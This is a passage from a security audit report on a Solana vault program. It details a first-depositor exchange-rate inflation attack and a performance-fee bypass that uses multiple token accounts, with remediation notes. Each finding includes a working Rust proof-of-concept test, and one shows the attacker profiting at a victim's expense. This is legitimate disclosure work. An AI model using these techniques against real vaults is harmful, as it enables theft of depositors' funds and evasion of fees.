104     /// User watermark record for performance fee calculation (per vault+depositor).
105 }

```

```

106    /// Seeded by (vault, depositor). Initialized if missing.
107    #[account(
108        init_if_needed,
109        payer = payer,
110        space = 8 + VaultUser::INIT_SPACE,
111        seeds = [VAULT_USER_SEED, vault.key().as_ref(), depositor.key().as_ref()],
112        bump,
113    )]
114    pub vault_user: Box<Account<'info, VaultUser>>,
115
116    /// The vault's pooled token account for the underlying asset (ATA owned by vault PDA)
117    #[account(
118        mut,
119        seeds = [VAULT_UNDERLYING_RESERVE_SEED, vault.key().as_ref()],
120        bump
121    )]
122    pub vault_reserve: Box<InterfaceAccount<'info, TokenAccount>>,
123
124    pub underlying_mint_token_program: Interface<'info, TokenInterface>,
125    pub share_token_program: Interface<'info, TokenInterface>,
126
127    pub associated_token_program: Program<'info, AssociatedToken>,
128    pub system_program: Program<'info, System>,
129 }

```

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:C/I:N/D:C/Y:N (6.3)

Recommendation

To address this finding, it is recommended to mark the `vault_user` account optional in `margin_instant_vault_liquidation_handler` instruction.

Remediation Comment

SOLVED: The `Glow` team resolved this finding by entirely removing the margin vault integration. Full margin vault integration may be added in future releases.

Remediation Hash

b3cdc472f04b7be372e676aba9a3e53a7619ff3c

7.2 FIRST DEPOSITOR CAN INFLATE EXCHANGE RATE VIA DONATION AND BALANCE SYNC

// MEDIUM

Description

The `create_vault_handler` instruction initializes a new vault with default configuration values. The vault implements a `minimum_shares_dust_threshold` field that forces the exchange rate to be 1:1 when `deposit_shares <= threshold`, which is the standard defense against vault inflation attacks.

However, `create_vault` initializes this field to 0, and `configure_vault` does not enforce a minimum value meaning the 1:1 protection expires after a single share is minted (since $1 > 0$). As a result, this allows a first depositor to inflate the exchange rate via a direct donation to `vault_reserve` token account and invoking the permissionless instruction `update_vault_balances`, this will cause the subsequent depositors to receive near zero shares due to integer division truncation and the inflated rate persists indefinitely as long as the attacker's share remains outstanding. The attacker can repeat the attack on all vaults with this default configurations.

[programs/vault/src/instructions/admin/create_vault.rs](#)

 Copy Code

```
151 vault.version = VAULT_ACCOUNT_VERSION;
152 vault.bump_seed = [ctx.bumps.vault];
153 vault.vault_index = [vault_index];
154 vault.underlying_mint_exponent = -(ctx.accounts.underlying_mint.decimals as i8);
155 vault.vault_name = [0; 27];
156 vault.padding = [0; 3];
157 vault.airspace = airspace;
158 vault.authority = authority;
159 vault.share_mint = vault_share_mint;
160 vault.underlying_mint = underlying_mint;
161 vault.vault_reserve = vault_reserve;
162 vault.vault_redemption_reserve = vault_redemption_reserve;
163 vault.underlying_mint_token_program = *ctx.accounts.underlying_mint.to_account_info().owner;
164 vault.flags = VaultFeatureFlags::empty();
165 vault.fee_receiver = fee_receiver;
166 vault.oracle_authority = oracle_authority;
167 vault.deposit_tokens = 0;
168 vault.operator_tokens = 0;
169 vault.deposit_shares = 0;
170 vault.uncollected_management_fees = 0;
171 vault.deposit_limit = 0;
172 vault.withdrawal_limit = 0;
173 vault.withdrawal_waiting_period = 0;
174 vault.minimum_deposit = 0;
175 vault.performance_fee = 0;
176 vault.management_fee = 0;
177 vault.last_management_fee_timestamp = timestamp;
178 vault.last_update_timestamp = timestamp;
179
180 let vault_operator = &mut ctx.accounts.vault_operator.load_init()?;
181 vault_operator.vault = ctx.accounts.vault.key();
182 vault_operator.admin = ctx.accounts.permit.owner;
183 vault_operator.positions = Default::default();
184
185 // minimum_shares_dust_threshold is not set, defaults to 0 from zero-init
```

[programs/vault/src/state/vault.rs](#)

```

531 pub fn token_to_share_exchange_rate(&self, timestamp: i64) -> Result<Number128> {
532     if self.deposit_shares <= self.minimum_shares_dust_threshold {
533         return Ok(Number128::ONE);
534     }
535     require!(
536         self.last_update_timestamp + MAX_VAULT_VALUATION_SECONDS > timestamp,
537         crate::ErrorCode::StaleVaultPrices
538     );
539     Number128::from_decimal(
540         self.deposit_tokens
541             .saturating_sub(self.uncollected_management_fees)
542             .saturating_sub(self.realised_performance_fees),
543         0,
544     )
545     .safe_div(Number128::from_decimal(self.deposit_shares, 0))
546 }

```

programs/vault/src/state/vault.rs

```

348 /// Update the valuation of the vault after refreshing operator assets
349 pub fn update_vault<'info>(<
350     &mut self,
351     operator: &VaultOperator,
352     share_mint: &mut InterfaceAccount<'info, Mint>,
353     vault_reserve: &mut InterfaceAccount<'info, TokenAccount>,
354     timestamp: i64,
355 ) -> Result<()> {
356     require!(
357         self.vault_reserve == vault_reserve.key(),
358         crate::ErrorCode::InvalidAccount
359     );
360     require!(
361         self.share_mint == share_mint.key(),
362         crate::ErrorCode::InvalidAccount
363     );
364
365     let (operator_tokens, _) = operator.operator_token_balance();
366     self.operator_tokens = operator_tokens;
367     if operator_tokens > 0 {
368         // Validate each position individually against its type-specific freshness threshold
369         operator.validate_all_positions_fresh(timestamp)?;
370     }
371     // Per-position freshness is validated above; set timestamp to now
372     // so token_to_share_exchange_rate's MAX_VAULT_VALUATION_SECONDS check
373     // passes when deposit follows immediately after update_vault_balances.
374     self.last_update_timestamp = timestamp;
375
376     // Refresh token accounts
377     share_mint.reload()?;
378     vault_reserve.reload()?;
379
380     // Update token balances
381     // Exclude reserved amounts so that frozen pending withdrawals are not counted
382     // in the exchange rate seen by remaining depositors.
383     self.deposit_shares = share_mint
384         .supply
385         .checked_sub(self.reserved_withdrawal_shares)
386         .ok_or(crate::ErrorCode::Underflow)?;
387     // Deposit tokens are the sum of idle tokens, operator tokens
388     // The vault reserve balance already includes any unwithdrawn uncollected fees, so we
389     // do not include them again.
390     let total_tokens = operator_tokens
391         .checked_add(vault_reserve.amount)
392         .ok_or(crate::ErrorCode::Overflow)?;
393     self.deposit_tokens = total_tokens
394         .checked_sub(self.reserved_withdrawal_tokens)
395         .ok_or(crate::ErrorCode::Underflow)?;
396
397     self accrue_management_fees(timestamp)?;
398
399
400

```

Step-By-Step Example

1. Attacker is the first depositor and deposits 1 token at the fallback 1:1 rate, receiving 1 share.
2. Attacker SPL-transfers a large donation (e.g., 1,000,000 tokens) directly to `vault_reserve`.
3. Attacker calls `update_vault_balances`, which re-derives `deposit_tokens` from `vault_reserve.amount`. The exchange rate jumps to 1,000,001:1.
4. Victim deposits 2,000,000 tokens at the inflated rate and receives only `floor(2,000,000 / 1,000,001) = 1` share due to rounding.
5. Attacker withdraws their 1 share (instantly with `INSTANT_REDEMPTION_ENABLED`), which is now worth half the total pool (~1,500,000 tokens), netting ~500,000 profit stolen from the victim.
6. **Alternative (Griefing):** The attacker may skip Steps 4–5 entirely, leaving their share unredeemed. The inflated rate persists indefinitely, causing any subsequent deposit below the inflated rate to mint zero shares effectively bricking the vault.

Proof of Concept

 Copy Code

```
1  #[tokio::test(flavor = "multi_thread")]
2  #[cfg_attr(not(feature = "localnet"), serial_test::serial)]
3  async fn inflation_attack_first_depositor_steals_from_victim() -> Result<()> {
4      let ctx = margin_test_context!();
5
6      // ----- Vault setup -----
7      let authority = ctx.create_wallet(20).await?;
8      let authority_pk = authority.pubkey();
9      ctx.issue_permit(authority_pk).await?;
10
11     let underlying = ctx.tokens().create_token(6, None, None, false).await?;
12
13     let vault_index = 42u8;
14     let airspace = ctx.airspace_details.address;
15     let underlying_mint_info = MintInfo::with_legacy(underlying.address);
16     let vault_ix = VaultIxBuilder::new(
17         airspace,
18         underlying_mint_info,
19         authority_pk,
20         vault_index,
21         TokenPriceOracle::NoOracle,
22         glow_test_service::ID,
23     );
24     let vault_pda = vault_ix.address;
25
26     vault_ix
27         .create_vault(authority_pk)
28         .with_signer(&authority)
29         .send_and_confirm(&ctx.rpc())
30         .await?;
31
32     // Configure ONLY the flags + waiting period. Leave minimum_deposit and
33     // minimum_shares_dust_threshold at their default zero values (the worst-case
34     // configuration for the inflation attack – and exactly what `create_vault`
35     // leaves behind if `configure_vault` is not called on those fields).
36     vault_ix
37         .configure_vault(VaultConfig {
38             performance_fee: Some(0),
39             management_fee: Some(0),
40             vault_flags: Some(0b00000111), // WITHDRAWALS | DEPOSITS | OPERATORS
41             deposit_limit: Some(u64::MAX),
42             withdrawal_limit: Some(u64::MAX),
43         })
```

```

44     withdrawal_waiting_period: Some(60),
45     vault_name: Some(*b"vault"),
46     oracle: None,
47     minimum_deposit: None,
48     minimum_shares_dust_threshold: None, // stays at default 0
49     ..Default::default()
50 })
51 .with_signer(&authority)
52 .send_and_confirm(&ctx.rpc())
53 .await?;
54
55 let vault_after_create: Vault = get_anchor_account(&ctx.rpc(), &vault_pda).await?;
56 assert_eq!(vault_after_create.minimum_deposit, 0);
57 assert_eq!(vault_after_create.minimum_shares_dust_threshold, 0);
58 assert_eq!(vault_after_create.deposit_shares, 0);
59 assert_eq!(vault_after_create.deposit_tokens, 0);
60
61 let attacker = ctx.create_wallet(5).await?;
62 let attacker_pk = attacker.pubkey();
63 let victim = ctx.create_wallet(5).await?;
64 let victim_pk = victim.pubkey();
65
66 // Create both wallets' underlying ATAs and fund them.
67 let attacker_ata_ix = underlying
68     .create_associated_token_account_idempotent(&attacker_pk, &ctx.payer().pubkey());
69 let victim_ata_ix = underlying
70     .create_associated_token_account_idempotent(&victim_pk, &ctx.payer().pubkey());
71 send_and_confirm(&ctx.rpc(), &[attacker_ata_ix, victim_ata_ix], &[]).await?;
72 let attacker_ata = underlying.associated_token_address(&attacker_pk);
73 let victim_ata = underlying.associated_token_address(&victim_pk);
74
75 let attacker_initial_underlying: u64 = 5_000_000;
76 let victim_initial_underlying: u64 = 5_000_000;
77 let mint_to_attacker = anchor_spl::token::spl_token::instruction::mint_to(
78     &anchor_spl::token::ID,
79     &underlying.address,
80     &attacker_ata,
81     &ctx.payer().pubkey(),
82     &[],
83     attacker_initial_underlying,
84 )?;
85 let mint_to_victim = anchor_spl::token::spl_token::instruction::mint_to(
86     &anchor_spl::token::ID,
87     &underlying.address,
88     &victim_ata,
89     &ctx.payer().pubkey(),
90     &[],
91     victim_initial_underlying,
92 )?;
93 send_and_confirm(
94     &ctx.rpc(),
95     &[mint_to_attacker, mint_to_victim],
96     &[ctx.payer()],
97 )
98 .await?;
99
100 // Both depositors need share ATAs
101 let attacker_vault_user = vault_ix.derive_vault_user(&attacker_pk);
102 let victim_vault_user = vault_ix.derive_vault_user(&victim_pk);
103 let attacker_share_ata_ix = vault_ix
104     .share_mint
105     .create_associated_token_account_idempotent(&attacker_vault_user, &ctx.payer().pubkey());
106 let victim_share_ata_ix = vault_ix
107     .share_mint
108     .create_associated_token_account_idempotent(&victim_vault_user, &ctx.payer().pubkey());
109 send_and_confirm(
110     &ctx.rpc(),
111     &[attacker_share_ata_ix, victim_share_ata_ix],
112     &[],
113 )
114 .await?;
115 let attacker_share_ata = vault_ix
116     .share_mint
117     .associated_token_address(&attacker_vault_user);
118
119 // STEP 1: Attacker mints 1 share for 1 token (rate fallback)
120 let attacker_seed_deposit: u64 = 1;
121 let seed_ix = vault_ix.deposit(

```

```

122     &ctx.payer().pubkey(),
123     &attacker_pk,
124     None,
125     TokenChange::shift(attacker_seed_deposit),
126 );
127 send_and_confirm(&ctx.rpc(), &[seed_ix], &[ctx.payer(), &attacker]).await?;
128
129 let v: Vault = get_anchor_account(&ctx.rpc(), &vault_pda).await?;
130 assert_eq!(v.deposit_tokens, 1, "after seed deposit");
131 assert_eq!(v.deposit_shares, 1, "after seed deposit");
132 let attacker_shares_after_seed = ctx.tokens().get_balance(&attacker_share_ata).await?;
133 assert_eq!(attacker_shares_after_seed, 1);
134
135 // STEP 2: Attacker directly donates a large amount to vault_reserve
136 let donation: u64 = 1_000_000;
137 let donate_ix = anchor_spl::token::spl_token::instruction::transfer(
138     &anchor_spl::token::ID,
139     &attacker_ata,
140     &vault_ix.vault_reserve,
141     &attacker_pk,
142     &[],
143     donation,
144 )?;
145 send_and_confirm(&ctx.rpc(), &[donate_ix], &[attacker]).await?;
146
147 // After the donation, the reserve account has 1 + 1_000_000 = 1_000_001
148 // but the vault's INTERNAL deposit_tokens is still 1.
149 let v: Vault = get_anchor_account(&ctx.rpc(), &vault_pda).await?;
150 assert_eq!(
151     v.deposit_tokens, 1,
152     "vault.deposit_tokens is internal accounting, unchanged by direct transfer"
153 );
154 let reserve_balance = ctx.tokens().get_balance(&vault_ix.vault_reserve).await?;
155 assert_eq!(
156     reserve_balance,
157     1 + donation,
158     "actual on-chain reserve reflects the donation"
159 );
160
161 // STEP 3: Attacker triggers permissionless update_vault_balances
162 vault_ix
163     .update_vault_balances()
164     .with_signer(&attacker)
165     .send_and_confirm(&ctx.rpc())
166     .await?;
167
168 let v: Vault = get_anchor_account(&ctx.rpc(), &vault_pda).await?;
169 assert_eq!(
170     v.deposit_tokens, 1_000_001,
171     "update_vault rolled the donation into deposit_tokens"
172 );
173 assert_eq!(
174     v.deposit_shares, 1,
175     "share supply unchanged - rate is now 1_000_001/1"
176 );
177
178 // STEP 4: Victim deposits at the inflated rate
179 let victim_deposit: u64 = 2_000_000;
180 // Victim must first create their PendingWithdrawals account so they can later exit.
181 vault_ix
182     .create_vault_pending_withdrawal(victim_pk, victim_pk)
183     .with_signer(&victim)
184     .send_and_confirm(&ctx.rpc())
185     .await?;
186
187 let victim_deposit_ix = vault_ix.deposit(
188     &ctx.payer().pubkey(),
189     &victim_pk,
190     None,
191     TokenChange::shift(victim_deposit),
192 );
193 send_and_confirm(
194     &ctx.rpc(),
195     &[victim_deposit_ix],
196     &[ctx.payer(), &victim],
197 );
198 .await?;
199

```

```

200 let victim_share_ata = vault_ix.share_mint.associated_token_address(&victim_vault_user);
201 let victim_shares = ctx.tokens().get_balance(&victim_share_ata).await?;
202
203 // Victim deposited 2_000_000 tokens. At the original (fair) rate of 1.0 they
204 // should have minted 2_000_000 shares. At the inflated rate of 1_000_001 they
205 // mint floor(2_000_000 / 1_000_001) = 1 share. (The dust 999_999 of value is lost.)
206 let fair_shares_at_pre_donation_rate = victim_deposit;
207 assert!(
208     victim_shares < fair_shares_at_pre_donation_rate,
209     "victim got {} shares, would have gotten {} at fair rate (1.0)",
210     victim_shares,
211     fair_shares_at_pre_donation_rate
212 );
213 assert_eq!(
214     victim_shares, 1,
215     "victim mints exactly 1 share at the inflated rate"
216 );
217
218 // STEP 5: Attacker withdraws their 1 share and pockets the donation
219 // Create the PendingWithdrawals account, advance clock past waiting period.
220 // When combined with Instant Withdrawals the attack reduces time to withdraw
221 vault_ix
222     .create_vault_pending_withdrawal(attacker_pk, attacker_pk)
223     .with_signer(&attacker)
224     .send_and_confirm(&ctx.rpc())
225     .await?;
226
227 // Refresh vault state (also resets staleness clock).
228 vault_ix
229     .update_vault_balances()
230     .with_signer(&attacker)
231     .send_and_confirm(&ctx.rpc())
232     .await?;
233
234 // Initiate withdrawal of attacker's 1 share.
235 vault_ix
236     .initiate_withdrawal(attacker_pk, 1, None)
237     .with_signer(&attacker)
238     .send_and_confirm(&ctx.rpc())
239     .await?;
240
241 // Advance time past `withdrawal_waiting_period` (60s).
242 let mut clock = ctx.rpc().get_clock().await?;
243 clock.unix_timestamp += 120;
244 clock.slot += 120 / 400 + 1;
245 ctx.rpc().set_clock(clock).await?;
246
247 vault_ix
248     .update_vault_balances()
249     .with_signer(&attacker)
250     .send_and_confirm(&ctx.rpc())
251     .await?;
252
253 let fee_receiver_ata_ix = underlying
254     .create_associated_token_account_idempotent(&authority_pk, &ctx.payer().pubkey());
255 send_and_confirm(&ctx.rpc(), &[fee_receiver_ata_ix], &[]).await?;
256
257 let attacker_before_exec = ctx.tokens().get_balance(&attacker_ata).await?;
258 vault_ix
259     .execute_vault_withdrawal(attacker_pk, 0)
260     .with_signer(&attacker)
261     .send_and_confirm(&ctx.rpc())
262     .await?;
263 let attacker_after_exec = ctx.tokens().get_balance(&attacker_ata).await?;
264 let attacker_underlying_received = attacker_after_exec - attacker_before_exec;
265
266 let attacker_spent = attacker_seed_deposit + donation; // 1 + 1_000_000
267 let attacker_profit = attacker_underlying_received as i128 - attacker_spent as i128;
268
269 // After attacker exits: only victim's share remains. Compute victim's share value.
270 let v: Vault = get_anchor_account(&ctx.rpc(), &vault_pda).await?;
271 // Resync the rate denom from on-chain
272 vault_ix
273     .update_vault_balances()
274     .with_signer(&attacker)
275     .send_and_confirm(&ctx.rpc())
276     .await?;
277 let v_final: Vault = get_anchor_account(&ctx.rpc(), &vault_pda).await?;

```

```

278 let victim_share_value_now =
279   v_final.deposit_tokens.saturating_mul(victim_shares) / v_final.deposit_shares.max(1);
280 let victim_loss = victim_deposit as i128 - victim_share_value_now as i128;
281
282 println!("=== Inflation Attack Result ===");
283 println!("Attacker spent:      {} underlying", attacker_spent);
284 println!("Attacker received:     {} underlying", attacker_underlying_received);
285 println!("Attacker PROFIT:        {} underlying", attacker_profit);
286 println!("Victim deposited:       {} underlying", victim_deposit);
287 println!("Victim share value:     {} underlying", victim_share_value_now);
288 println!("Victim LOSS:            {} underlying", victim_loss);
289 println!("vault.deposit_tokens:   {}", v.deposit_tokens);
290 println!("vault.deposit_shares:  {}", v.deposit_shares);
291
292 assert!(
293   attacker_profit > 0,
294   "expected attacker to profit from inflation attack, got {}",
295   attacker_profit
296 );
297 assert!(
298   victim_loss > 0,
299   "expected victim to take a loss, got {}",
300   victim_loss
301 );
302
303 Ok(())
}

```

```

=== Inflation Attack Result ===
Attacker spent:      1000001 underlying
Attacker received:   1500000 underlying
Attacker PROFIT:     499999 underlying
Victim deposited:    2000000 underlying
Victim share value:  1500001 underlying
Victim LOSS:         499999 underlying
vault.deposit_tokens: 1500001
vault.deposit_shares: 1
test vault_inflation_attack::inflation_attack_first_depositor_steals_from_victim ... ok

```

BVSS

AO:A/AC:M/AX:L/R:N/S:U/C:N/A:N/I:H/D:M/Y:N (5.9)

Recommendation

To address this finding, it is recommended to initialize `minimum_shares_dust_threshold` to a meaningful default (e.g. $10^{\text{decimals}} / 10$) in `create_vault`, ensuring the 1:1 exchange rate protection remains active until sufficient liquidity is established to make donation-based rate inflation economically irrational.

Remediation Comment

SOLVED: The `Glow` team resolved this finding by implementing the recommended solution.

Remediation Hash

d36a76c68a2e297286e6be4f4471634e1a2e199b

7.3 USERS CAN BYPASS PERFORMANCE FEE VIA MULTIPLE TOKEN ACCOUNTS

// MEDIUM

Description

The `deposit_to_vault_handler` instruction computes a weighted-average watermark on subsequent deposits to track the user's performance fee calculations. The formula weights the numerator by `vault_user.total_shares` (all shares the user holds across the vault) but divides by `total_user_shares`, which is derived from the passed in `share_token_account.amount` plus the new `deposit_shares`.

However, the instruction only constrains the share token account by `owner == vault_user.key()` without requiring it to be the canonical ATA. Anyone can create multiple token accounts for a mint. By depositing through a fresh token account, the denominator becomes just the new deposit shares instead of the user's total shares, inflating the watermark above the current exchange rate. As a result, users can completely bypass performance fee accrual by always depositing through new token accounts. Each deposit resets the watermark to an artificially high value, preventing any performance fees from being calculated regardless of actual vault gains.

[programs/vault/src/instructions/user/deposit.rs](#)

 Copy Code

```
237 // deposit_to_vault_handler instruction
238 let prev_user_shares: u64 = ctx.accounts.share_token_account.amount;
239 let total_user_shares = prev_user_shares
240     .checked_add(deposit_shares)
241     .ok_or(crate::ErrorCode::Overflow)?;
242
243 let vault_key = ctx.accounts.vault.key();
244 let depositor_key = ctx.accounts.depositor.key();
245
246 let vault_user = &mut ctx.accounts.vault_user;
247 if vault_user.owner == Pubkey::default() {
248     // First deposit for the owner
249     vault_user.set_inner(VaultUser {
250         owner: depositor_key,
251         vault: vault_key,
252         last_performance_fee_rate: token_to_share_rate.into_bits(),
253         accrued_performance_fees: 0,
254         total_shares: total_user_shares,
255         pending_withdrawal_shares: 0,
256         last_update_timestamp: clock.unix_timestamp,
257         bump: ctx.bumps.vault_user,
258     });
259 } else {
260     require!(
261         vault_user.owner == depositor_key,
262         crate::ErrorCode::VaultPermissionDenied
263     );
264     // Average value = ((existing shares * watermark) + (new_shares * current_rate)) / tot
265     let existing_shares = Number128::from_decimal(vault_user.total_shares, 0);
266     let new_shares = Number128::from_decimal(deposit_shares, 0);
267     let total_shares = Number128::from_decimal(total_user_shares, 0);
268
269     let average_value = (existing_shares * vault_user.last_performance_fee_rate()
270         + new_shares * token_to_share_rate)
271         / total_shares;
272     vault_user.last_performance_fee_rate = average_value.into_bits();
273     vault_user.total_shares = vault_user
274         .total_shares
```

```

275         .checked_add(deposit_shares)
276         .ok_or(crate::ErrorCode::Overflow)?;
277     }

```

programs/vault/src/state/vault.rs

 Copy Code

```

497     pub fn accrue_user_performance_fees(
498         &mut self,
499         vault_user: &mut VaultUser,
500         timestamp: i64,
501     ) -> Result<()> {
502         // Get the rate
503         let vault_exchange_rate = self.token_to_share_exchange_rate(timestamp)?;
504
505         // Compare the rate with the user's stored rate.
506         if vault_exchange_rate > vault_user.last_performance_fee_rate() {
507             // Accrue the fee
508             // = shares * (new_rate - old_rate) * performance fee
509             let rate_delta =
510                 vault_exchange_rate.safe_sub(vault_user.last_performance_fee_rate())?;
511             let shares = Number128::from_decimal(vault_user.total_shares, 0);
512             let performance_fee = Number128::from_bps(self.performance_fee);
513             let performance_fee = shares.safe_mul(rate_delta)?.safe_mul(performance_fee)?;
514             let performance_fee_tokens = performance_fee.as_u64(0);
515
516             vault_user.accrued_performance_fees += performance_fee_tokens;
517             vault_user.set_last_performance_fee_rate(vault_exchange_rate);
518
519             // Increment the vault's performance fees.
520             self.uncollected_performance_fees = self
521                 .uncollected_performance_fees
522                 .checked_add(performance_fee_tokens)
523                 .ok_or(crate::ErrorCode::Overflow)?;
524         }
525
526         vault_user.last_update_timestamp = timestamp;
527
528         Ok(())
529     }

```

programs/vault/src/instructions/user/execute_vault_withdrawal.rs

 Copy Code

```

163     // execute_vault_withdrawal_handler instruction
164     let shares = pending.pending_shares;
165     let (gross_withdrawal_tokens, total_tokens) = {
166         let vault = &mut ctx.accounts.vault.load_mut()?;
167         let vault_user = &mut ctx.accounts.vault_user;
168         vault_user.pending_withdrawal_shares = vault_user
169             .pending_withdrawal_shares
170             .checked_sub(shares)
171             .ok_or(crate::ErrorCode::Underflow)?;
172         vault.accrue_user_performance_fees(vault_user, timestamp)?;
173         // SAFETY: decrease_vault accrues performance fees and mutates the vault shares
174         // Thus after this point, the vault is updated and should not be updated again (unless
175         (
176             vault.decrease_vault(shares, timestamp)?,
177             vault.shares_to_tokens(vault_user.total_shares, timestamp)?,
178         )
179     };
180
181     // Clear the slot
182     pending_withdrawals.make_empty(withdraw_index as usize)?;
183
184     // Signer seeds for the vault PDA
185     // Prepare signer seeds matching CreateVault
186     let signer_seeds = {
187         let v = ctx.accounts.vault.load()?;
188         v.signer_seeds_owned()
189     };
190

```

```

191 let signer_arr = signer_seeds.as_slice();
192 let seeds: [&[u8]]; 1] = [&signer_arr];
193
194 tokens::burn_tokens(
195     ctx.accounts.mint_token_program.to_account_info(),
196     ctx.accounts.share_mint.to_account_info(),
197     ctx.accounts
198         .vault_pending_withdrawals_custody
199         .to_account_info(),
200     ctx.accounts.vault.to_account_info(),
201     Some(&seeds),
202     shares,
203 )?;
204
205 // Collect the performance fees proportionately to the remaining balance
206 let vault_user = &mut ctx.accounts.vault_user;
207 let performance_fees_to_withhold = if shares == vault_user.total_shares {
208     vault_user.accrued_performance_fees
209 } else if vault_user.accrued_performance_fees > 0 {
210     let withdrawal_tokens = Number128::from_decimal(gross_withdrawal_tokens, 0);
211     let fees = Number128::from_decimal(vault_user.accrued_performance_fees, 0);
212     let total_tokens = Number128::from_decimal(total_tokens, 0);
213     withdrawal_tokens
214         .safe_div(total_tokens)?
215         .safe_mul(fees)?
216         .as_u64(0)
217         .min(vault_user.accrued_performance_fees)
218 } else {
219     0
220 };
221
222 // Shares were burned, so remove them from the user's share tally.
223 vault_user.total_shares = vault_user
224     .total_shares
225     .checked_sub(shares)
226     .ok_or(crate::ErrorCode::Underflow)?;
227
228 let net_withdrawal_tokens =
229     gross_withdrawal_tokens.saturating_sub(performance_fees_to_withhold);
230 vault_user.accrued_performance_fees = vault_user
231     .accrued_performance_fees
232     .saturating_sub(performance_fees_to_withhold);

```

Step-By-Step Example

1. Bob deposits \$30,000 USDC at exchange rate 1.2 and receives 25,000,000,000 shares, watermark = 1.2
2. Vault appreciates to exchange rate 1.4 and Bob's position worth \$35,000 (gain: \$5,000)
3. Bob creates a fresh token account (TA2)
4. Bob deposits \$100 through TA2 and receives ~71,428,571 shares. The formula computes:

$$\text{watermark} = (25B \times 1.2 + 71M \times 1.4) / 71M = 421.4$$
 instead of the correct:

$$\text{watermark} = (25B \times 1.2 + 71M \times 1.4) / (25B + 71M) \approx 1.2$$
5. Bob withdraws all shares, fee accrual sees watermark (421.4) > rate (1.4), detects no profit, charges \$0 fees
6. Bob receives \$35,100 and an honest user (Alice) with identical deposits pays \$2,500 in performance fees

Proof of Concept

```

1 // POC: Performance fee watermark manipulation via multiple token accounts.
2 //
3 // Attack vector: A user creates a second token account (owned by the VaultUser PDA) for
4 // the vault's share mint, then deposits through it. The deposit handler reads the token
5 // account balance as `prev_user_shares`, which is 0 for the fresh account. The weighted
6 // average watermark formula uses `total_user_shares` (= 0 + new_deposit) as the denominator
7 // instead of the correct `vault_user.total_shares + new_deposit`. This inflates the
8 // watermark toward the current exchange rate, reducing performance fees owed.
9 //
10 // This test uses two actors:
11 //   - Alice: Honest user. Deposits $30,000 USDC normally.
12 //   - Bob:   Attacker. Deposits $30,000 USDC normally, then does a $100 dust deposit
13 //           through a fresh second token account to inflate his watermark.
14 //
15 // Both earn the same yield. Alice pays performance fees on withdrawal. Bob pays nothing.
16
17 use anyhow::Result;
18 use glow_instructions::vault::VaultIxBuilder;
19 use glow_instructions::MintInfo;
20 use glow_margin_sdk::get_state::get_anchor_account;
21 use glow_margin_sdk::solana::transaction::{TransactionBuilderExt, WithSigner};
22 use glow_program_common::oracle::TokenPriceOracle;
23 use glow_program_common::token_change::TokenChange;
24 use glow_program_common::Number128;
25 use glow_simulation::send_and_confirm;
26 use glow_vault::instructions::VaultConfig;
27 use glow_vault::state::vault::Vault;
28 use glow_vault::state::vault_user::VaultUser;
29 use hosted_tests::margin_test_context;
30 use solana_sdk::{
31     instruction::{AccountMeta, Instruction},
32     pubkey::Pubkey,
33     signature::Signer,
34 };
35 use solana_test_framework::ProgramTestContextExtension;
36
37 /// Alice (honest) vs Bob (attacker): $30,000 USDC deposit, vault appreciates, fees evaded.
38 ///
39 /// Scenario:
40 ///   - Vault starts at rate 1.2 (1 share = 1.2 USDC, 6 decimals)
41 ///   - Both Alice and Bob deposit $30,000 USDC → each gets 25,000,000 shares
42 ///   - Vault appreciates to rate 1.4
43 ///   - Bob does a $100 dust deposit through a fresh TA2 → watermark inflates to ~423
44 ///   - Both withdraw ALL shares
45 ///   - Alice pays ~$2,500 in performance fees (50% of $5,000 gain)
46 ///   - Bob pays $0 (watermark 423 > rate 1.4, no "profit" detected)
47 #[tokio::test(flavor = "multi_thread")]
48 #[cfg_attr(not(feature = "localnet"), serial_test::serial)]
49 async fn alice_vs_bob_watermark_manipulation() -> Result<> {
50     let ctx = margin_test_context!();
51
52     let authority = ctx.create_wallet(20).await?;
53     let authority_pk = authority.pubkey();
54     ctx.issue_permit(authority_pk).await?;
55     // USDC-like mint with 6 decimals
56     let underlying_mint = ctx.tokens().create_token(6, None, None, false).await?;
57
58     let vault_ix = VaultIxBuilder::new(
59         ctx.airspace_details.address,
60         MintInfo::with_legacy(underlying_mint.address),
61         authority_pk,
62         45u8,
63         TokenPriceOracle::NoOracle,
64         glow_test_service::ID,
65     );
66
67     vault_ix
68         .create_vault(authority_pk)
69         .with_signer(&authority)
70         .send_and_confirm(&ctx.rpc())
71         .await?;
72
73     vault_ix
74         .configure_vault(VaultConfig {
75             performance_fee: Some(5000), // 50% performance fee
76

```

```

77     management_fee: Some(0),
78     vault_flags: Some(0b00000111), // deposits + withdrawals + operators, non-transfer
79     deposit_limit: Some(u64::MAX),
80     withdrawal_limit: Some(u64::MAX),
81     withdrawal_waiting_period: Some(0), // instant for simplicity
82     vault_name: Some(*b"fee_evasion_30k_usdc_____"),
83     oracle: None,
84     minimum_deposit: Some(100_000), // min $0.10
85     minimum_shares_dust_threshold: Some(1_000),
86     ..Default::default()
87 }
88 .with_signer(&authority)
89 .send_and_confirm(&ctx.rpc())
90 .await?;
91
92 // =====
93 // Bootstrap vault to rate 1.2
94 // =====
95 let seeder_wallet = ctx.create_wallet(5).await?;
96 let seeder = seeder_wallet.pubkey();
97
98 let seeder_ata_ix = underlying_mint
99     .create_associated_token_account_idempotent(&seeder, &ctx.payer().pubkey());
100 send_and_confirm(&ctx.rpc(), &[seeder_ata_ix], &[]).await?;
101 let seeder_ata = underlying_mint.associated_token_address(&seeder);
102
103 let mint_seeder = anchor_spl::token::spl_token::instruction::mint_to(
104     &anchor_spl::token::ID,
105     &underlying_mint.address,
106     &seeder_ata,
107     &ctx.payer().pubkey(),
108     &[],
109     100_000_000_000, // $100,000
110 )?;
111 send_and_confirm(&ctx.rpc(), &[mint_seeder], &[ctx.payer()]).await?;
112
113 let seeder_vault_user = vault_ix.derive_vault_user(&seeder);
114 let seeder_shares_ata_ix = vault_ix
115     .share_mint
116     .create_associated_token_account_idempotent(&seeder_vault_user, &ctx.payer().pubkey());
117 send_and_confirm(&ctx.rpc(), &[seeder_shares_ata_ix], &[]).await?;
118
119 let seeder_deposit = vault_ix.deposit(
120     &ctx.payer().pubkey(),
121     &seeder,
122     None,
123     TokenChange::shift(100_000_000_000),
124 );
125 send_and_confirm(&ctx.rpc(), &[seeder_deposit], &[ctx.payer(), &seeder_wallet]).await?;
126
127 let boost_reserve = anchor_spl::token::spl_token::instruction::mint_to(
128     &anchor_spl::token::ID,
129     &underlying_mint.address,
130     &vault_ix.vault_reserve,
131     &ctx.payer().pubkey(),
132     &[],
133     20_000_000_000, // $20,000 appreciation
134 )?;
